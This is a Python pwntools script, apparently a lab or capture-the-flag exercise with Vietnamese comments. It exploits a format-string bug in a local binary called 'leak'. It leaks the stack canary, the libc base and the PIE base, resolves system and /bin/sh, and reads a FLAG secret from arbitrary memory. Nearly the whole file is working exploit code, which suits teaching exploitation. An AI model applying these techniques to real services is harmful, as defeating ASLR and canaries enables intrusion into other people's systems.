#!/usr/bin/env python3
# Lab 7.1: format string leak. Da kiem tren Ubuntu 24.04, glibc 2.39.
# Binary: leak (PIE + canary + Full RELRO, FORTIFY tat).
#
# Trinh tu:
#   1. Tim offset tham so cua chuoi ta tren stack (marker + %p).
#   2. Trong 1 tien trinh (vong lap doc nhieu luot, ASLR khong doi):
#        - leak canary   = %25$p
#        - leak libc base = %27$p - 0x2a1ca (dia chi tra ve trong __libc_start_call_main)
#        - leak PIE  base = %51$p - main_off (con tro toi main ma __libc_start_main luu)
#        - doc bo nho tuy dia chi bang %s: doc chuoi secret = PIE base + secret_off
from pwn import *

context.binary = e = ELF('./leak')
context.log_level = 'error'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Offset da tim: dia chi tra ve trong __libc_start_call_main cach libc base 0x2a1ca.
LIBC_RET_OFF = 0x2a1ca

def send_fmt(io, payload):
    io.recvuntil(b'echo> ')
    io.sendline(payload)
    return io.recvline()

# ---------- Buoc 1: tim offset tham so cua ta ----------
# Gui marker 8 ky tu 'A' + day %i$p (truy cap tham so truc tiep, %i$p = vi tri i).
io = process('./leak')
line = send_fmt(io, b'AAAAAAAA' + b'.'.join(b'%%%d$p' % i for i in range(1, 16)))
vals = line.decode(errors='replace').strip().split('.')
vals[0] = vals[0].replace('AAAAAAAA', '')     # vals[i-1] ung voi vi tri i
offset = None
for i, t in enumerate(vals, start=1):
    if t == '0x4141414141414141':
        offset = i
print('[1] marker 0x41*8 xuat hien o offset = %d (vi tri chuoi cua ta tren stack)' % offset)
assert offset == 8, 'offset mong doi 8'

# ---------- Buoc 2: leak canary, libc, PIE trong cung tien trinh ----------
line = send_fmt(io, b'CAN=%25$p LIBC=%27$p PIE=%51$p')
d = {}
for kv in line.decode(errors='replace').split():
    if kv.count('=') == 1 and kv.split('=')[1].startswith('0x'):
        k, v = kv.split('='); d[k] = int(v, 16)

canary = d['CAN']
libc.address = d['LIBC'] - LIBC_RET_OFF
e.address    = d['PIE'] - e.sym['main']

print('[2] canary    = %#018x  (ket thuc bang byte 00: %s)' % (canary, canary & 0xff == 0))
print('    libc base = %#x  (leak %#x - %#x)' % (libc.address, d['LIBC'], LIBC_RET_OFF))
print('    PIE  base = %#x  (leak %#x - main@%#x)' % (e.address, d['PIE'], e.sym['main']))
assert libc.address & 0xfff == 0, 'libc base chua can trang -> sai offset/version'
assert e.address  & 0xfff == 0, 'PIE base chua can trang'
# Kiem chung libc base: system phai tro vao vung libc
print('    => system @ %#x , str /bin/sh @ %#x' % (libc.sym['system'], next(libc.search(b'/bin/sh\x00'))))

# ---------- Buoc 3: doc bo nho tuy dia chi bang %s ----------
secret_addr = e.sym['secret']            # = PIE base + 0x4020
# buf o offset 8 => pos 9 = buf+8. Dat dia chi vao buf+8, %9$s deref no.
payload = b'%9$s' + b'AAAA' + p64(secret_addr)
line = send_fmt(io, payload)
secret = line.split(b'AAAA')[0]
print('[3] %%s doc @ %#x  ->  %r' % (secret_addr, secret))
assert secret.startswith(b'FLAG{'), 'khong doc duoc secret'
io.close()

print('\n[OK] leak offset=8, canary/libc/PIE deu dung, %s doc duoc secret.')